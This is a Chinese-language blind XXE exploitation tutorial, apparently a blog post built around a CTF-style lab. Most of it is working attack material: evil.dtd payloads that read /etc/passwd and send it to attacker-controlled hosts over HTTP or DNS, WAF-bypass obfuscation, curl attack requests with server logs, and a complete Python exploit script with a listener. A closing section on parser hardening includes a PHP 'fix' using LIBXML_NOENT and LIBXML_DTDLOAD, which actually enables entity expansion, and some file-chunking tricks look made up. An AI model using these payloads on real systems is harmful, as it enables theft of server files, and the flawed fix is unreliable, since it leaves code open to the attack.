盲XXE漏洞利用教程(OOB外带数据)
1. 漏洞原理
什么是盲XXE?
盲XXE是指XML外部实体注入漏洞没有直接回显,无法在HTTP响应中看到读取的文件内容,需要通过带外(OOB)通道将数据发送到攻击者控制的服务器。
核心机制
攻击者服务器(HTTP)与目标服务器(XXE)之间的交互流程:
- 攻击者发送包含恶意DTD的XML请求到目标服务器
- 目标服务器解析XML,向攻击者服务器请求evil.dtd文件
- 攻击者服务器返回包含嵌套实体的evil.dtd
- 目标服务器解析evil.dtd,触发第二次HTTP请求
- 第二次请求携带读取到的文件内容发送到攻击者服务器
为什么叫"盲"XXE?
- 应用程序不返回任何有用的错误信息或数据
- 攻击者无法直接看到文件内容
- 必须通过其他通道(HTTP/DNS)将数据"带出"(Out-Of-Band)
2. 环境准备
2.1 攻击者服务器配置
# 创建工作目录
mkdir xxe_attack
cd xxe_attack
# 创建evil.dtd文件
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;
EOF
# 启动HTTP服务器
python3 -m http.server 8000
# 或者使用netcat(仅查看请求,不返回文件)
nc -lvnp 8000
2.2 替换IP地址
将 YOUR_IP 替换为你的实际IP:
# 查看本机IP
ip addr show | grep inet
# 或
ifconfig | grep inet
3. 参数实体嵌套详解
3.1 什么是参数实体?
参数实体是在XML DTD中定义的一种特殊实体,以 % 开头,只能在DTD内部使用。
<!ENTITY % name "value"> <!-- 定义 -->
%name; <!-- 引用 -->
3.2 什么是参数实体嵌套?
参数实体嵌套是指在定义一个参数实体时,其内容中包含另一个参数实体的引用,并且在解析过程中会多次展开。
3.3 完整的解析流程
第一步:定义基础实体
<!ENTITY % file SYSTEM "file:///etc/passwd">
这个定义创建了一个参数实体 %file,它指向 /etc/passwd 文件。此时文件尚未被读取,只是建立了引用关系。
第二步:定义嵌套实体
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
这个定义创建了参数实体 %oob,它的值是一个字符串:<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>。注意这里使用了 % 而不是 %,这是为了延迟解析,避免在定义阶段就被展开。此时 %file 仍然只是字符串的一部分,没有被替换。
第三步:展开第一层实体
%oob;
执行 %oob 会将它的值(字符串)插入到DTD中的当前位置。插入后,DTD中出现了新的定义:<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>。这时 %file 依然保持着引用形式,没有展开。
第四步:展开第二层实体
%send;
执行 %send 才是真正读取数据的时候。系统看到 %send 需要展开,发现其值中包含 %file 引用,于是去读取 %file 指向的文件内容。读取完成后,将文件内容替换到URL中,最后发起HTTP请求:http://attacker.com/?data=文件内容。
3.4 为什么不能直接写?
直接写的方式:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">
%send;
这种方式会失败,因为在定义 %send 时,%file 还没有被处理,它被当作普通字符串而不是实体引用。最终发起的请求URL中的参数是 %file 这个字符串,而不是文件内容。
嵌套的本质是通过两次展开强制改变解析顺序,确保文件内容读取发生在URL构造之后。
4. 基础利用
4.1 最简单的OOB payload
evil.dtd(基础版):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;
HTTP请求:
POST /api.php HTTP/1.1
Host: target.com
Content-Type: application/xml
Content-Length: 270
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://YOUR_IP:8000/evil.dtd">
%remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services">
<action>maintenance</action>
<data>test</data>
</GatewayRequest>
4.2 各协议的作用
file:// 协议:直接读取本地文件,不做编码转换。
<!ENTITY % file SYSTEM "file:///etc/passwd">
php://filter 协议:PHP专用,可以读取文件并转换为Base64编码,避免二进制数据破坏HTTP请求格式。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
expect:// 协议:可以执行系统命令(需要PHP的expect扩展)。
<!ENTITY % file SYSTEM "expect://id">
5. 高级技巧
5.1 DNS外带(无HTTP端口时)
当目标服务器无法发起HTTP请求但可以解析DNS时使用:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dns "<!ENTITY % send SYSTEM 'http://%file;.attacker.com'>">
%dns;
%send;
攻击者需要监听DNS请求而不是HTTP请求。
5.2 批量读取多个文件
<!ENTITY % file1 SYSTEM "file:///etc/passwd">
<!ENTITY % file2 SYSTEM "file:///etc/hostname">
<!ENTITY % oob1 "<!ENTITY % send1 SYSTEM 'http://YOUR_IP:8000/1?data=%file1;'>">
<!ENTITY % oob2 "<!ENTITY % send2 SYSTEM 'http://YOUR_IP:8000/2?data=%file2;'>">
%oob1;%send1;
%oob2;%send2;
5.3 分段传输大文件
当文件过大无法一次放入URL时:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/log/syslog">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://YOUR_IP:8000/collect?part1=%file;'>">
%oob;
%send;
然后编写脚本接收多个分片并拼接。
5.4 使用XML注释绕过检测
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!-- 这是注释,可以插入迷惑性内容 -->
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;
6. 实战演练
6.1 完整攻击流程
攻击者终端(启动HTTP服务器):
python3 -m http.server 8000
输出示例:
Serving HTTP on 0.0.0.0 port 8000 ...
evil.dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://172.21.77.98:8000/collect?flag=%file;'>">
%oob;
%send;
使用curl发送攻击请求:
curl -X POST http://172.21.79.228/api.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://172.21.77.98:8000/evil.dtd">
%remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services">
<action>maintenance</action>
<data>a</data>
</GatewayRequest>'
HTTP服务器收到的日志:
172.21.79.228 - - [10/Jun/2026 22:22:03] "GET /evil.dtd HTTP/1.1" 200 -
172.21.79.228 - - [10/Jun/2026 22:22:03] "GET /collect?flag=ZmxhZ3t4eGVfdGVzdH0K HTTP/1.1" 200 -
解码Base64获取flag:
echo "ZmxhZ3t4eGVfdGVzdH0K" | base64 -d
输出:flag{xxe_test}
6.2 Python自动化脚本
#!/usr/bin/env python3
import base64
import http.server
import threading
import requests
import urllib.parse
class XXEHandler(http.server.SimpleHTTPRequestHandler):
def log_message(self, format, *args):
pass
def do_GET(self):
if 'collect' in self.path:
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if 'data' in params or 'flag' in params:
data = params.get('data', params.get('flag'))[0]
try:
decoded = base64.b64decode(data).decode('utf-8')
print(f"\n[+] 收到数据: {decoded}\n")
except:
print(f"\n[+] 收到原始数据: {data}\n")
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
def start_server():
server = http.server.HTTPServer(('0.0.0.0', 8000), XXEHandler)
print("[*] HTTP服务器已启动,监听端口8000")
server.serve_forever()
def exploit(target_url, attacker_ip, file_path):
dtd_content = f'''<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource={file_path}">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://{attacker_ip}:8000/collect?data=%file;'>">
%oob;
%send;'''
with open('evil.dtd', 'w') as f:
f.write(dtd_content)
payload = f'''<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://{attacker_ip}:8000/evil.dtd">
%remote;
]>
<GatewayRequest xmlns="http://api.gateway.local/services">
<action>maintenance</action>
<data>test</data>
</GatewayRequest>'''
print(f"[*] 发送payload到 {target_url}")
print(f"[*] 尝试读取文件: {file_path}")
try:
response = requests.post(target_url, data=payload,
headers={'Content-Type': 'application/xml'},
timeout=10)
print(f"[*] HTTP响应状态码: {response.status_code}")
except Exception as e:
print(f"[*] 请求异常: {e}")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("用法: python3 xxe.py <目标URL> [文件路径]")
print("示例: python3 xxe.py http://172.21.79.228/api.php /flag.txt")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2] if len(sys.argv) > 2 else "/flag.txt"
attacker_ip = input("请输入攻击者服务器IP: ")
server_thread = threading.Thread(target=start_server, daemon=True)
server_thread.start()
import time
time.sleep(1)
exploit(target, attacker_ip, file_path)
print("[*] 等待数据回传... (按Ctrl+C退出)")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 退出")
7. 常见问题
7.1 为什么data参数为空?
可能原因:
- 文件路径错误(先用
/etc/passwd测试) - 权限不足(Web用户无法读取目标文件)
- 协议不支持(php://filter在某些环境下不工作,换file://测试)
- 文件不存在
解决方案:
- 先用
file:///etc/passwd测试基础功能 - 确认文件路径正确
- 尝试不同的伪协议
7.2 为什么没有第二次请求?
可能原因:
- evil.dtd语法错误
- 缺少
%send;触发语句 %写成了%- 参数实体嵌套格式不正确
正确的模板:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://YOUR_IP:8000/collect?data=%file;'>">
%oob;
%send;
7.3 libxml 2.9.0+ 如何绕过?
新版本libxml默认禁用了外部实体,但在某些配置下仍有绕过可能:
- 使用XML Schema注入
<GatewayRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://YOUR_IP/schema.xsd">
- 使用XInclude
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
- 使用SVG/PDF等文件格式的XXE
7.4 如何读取二进制文件?
使用Base64编码避免二进制数据破坏HTTP请求:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/bin/ls">
7.5 如何绕过WAF?
编码混淆:
<!-- UTF-16编码 -->
<?xml version="1.0" encoding="UTF-16"?>
<!-- 使用HTML实体 -->
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
拆分payload:
<!ENTITY % part1 "<!ENTITY %">
<!ENTITY % part2 " send SYSTEM 'http://attacker.com/?d=%file;'>">
<!ENTITY % oob "%part1;%part2;">
7.6 如何确定文件路径?
尝试常见路径:
/flag.txt、/flag、/root/flag.txt/var/www/html/flag.txt/home/user/flag.txt/app/flag.txt
通过报错信息推断:
<!ENTITY % file SYSTEM "file:///nonexistent/path">
7.7 读取大文件时请求超时怎么办?
使用分片读取:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/log/syslog|head -c 1000">
使用range参数(如果支持):
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/log/syslog&offset=0&length=1000">
8. 防御措施
8.1 PHP修复方案
方法一:禁用外部实体(推荐)
libxml_disable_entity_loader(true);
方法二:使用安全选项加载XML
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);
方法三:过滤DTD声明
$xml = file_get_contents('php://input');
$clean_xml = preg_replace('/<!DOCTYPE[^>]*>/', '', $xml);
$dom = new DOMDocument();
$dom->loadXML($clean_xml);
8.2 Java修复方案
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
8.3 Python修复方案
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_source, parser)
8.4 .NET修复方案
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(xmlStream, settings);
9. 快速参考
最简evil.dtd模板
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY % send SYSTEM 'http://YOUR_IP:8000/collect?d=%file;'>">
%oob;
%send;
Base64解码命令
echo "BASE64_STRING" | base64 -d
HTTP服务器监听命令
python3 -m http.server 8000
测试连通性命令
curl -X POST http://target.com/api.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://YOUR_IP:8000/test">
]>
<root>&xxe;</root>'
10. 总结
成功利用盲XXE的关键点
- 确认目标存在XXE漏洞(能够发起外部请求)
- 确保目标服务器能够访问攻击者服务器
- evil.dtd语法正确,使用
%编码%符号 - 包含
%send;或类似的触发语句 - 文件路径正确且可读
- 正确解码Base64获取最终内容
实战检查清单
- 攻击者HTTP服务器正常运行
- evil.dtd可被目标访问
- 第一次请求日志中出现GET evil.dtd
- 第二次OOB请求日志中出现GET /collect?data=…
- data参数包含Base64编码的内容
- 成功解码获取目标文件内容
盲XXE的优势
- 不需要响应中回显数据
- 可以绕过回显过滤
- 可以读取二进制文件
- 可以扫描内网服务
- 可以执行系统命令(expect协议)
盲XXE的局限
- 需要目标服务器能够出网
- 需要攻击者有公网或内网可达服务器
- libxml 2.9.0+有默认限制
- 某些协议可能被禁用
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐




所有评论(0)